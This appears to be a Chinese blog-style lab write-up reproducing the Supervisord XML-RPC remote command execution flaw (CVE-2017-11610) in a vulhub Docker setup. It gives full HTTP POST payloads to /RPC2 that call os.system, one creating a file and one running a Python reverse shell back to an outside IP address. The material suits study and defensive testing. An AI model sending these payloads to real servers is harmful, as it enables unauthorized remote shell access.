Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。CVE-2017-11610的本质是一个不安全的对象引用+方法调用,十分类似Java中的反序列化漏洞。[1]Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是C端通过RPC协议可以在S端执行某个函数,并得到返回结果。那么,如果C端执行了S端预料之外的函数(如os.system),那么就会导致漏洞的产生。
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞
- docker-compose build //可选
- docker-compose up -d
完成试验后,记得删除漏洞环境哦~~
- docker-compose down
- docker system prune -a -f //可选
简单访问一下,说明Supervisord 远程命令执行漏洞(CVE-2017-11610)环境搭建成功了
先来试一试创建文件
POST /RPC2 HTTP/1.1
Host: 144.34.162.13:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
supervisor.supervisord.options.warnings.linecache.os.system
touch /tmp/success
发现成功创建文件
docker exec -it ec46af421051 /bin/bash
直接利用python代码反弹shell
POST /RPC2 HTTP/1.1
Host: 144.34.162.13:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
supervisor.supervisord.options.warnings.linecache.os.system
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.137.58.6',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
见证奇迹的时刻到了,反弹shell成功
参考
- ^Supervisord 远程命令执行漏洞(CVE-2017-11610) https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html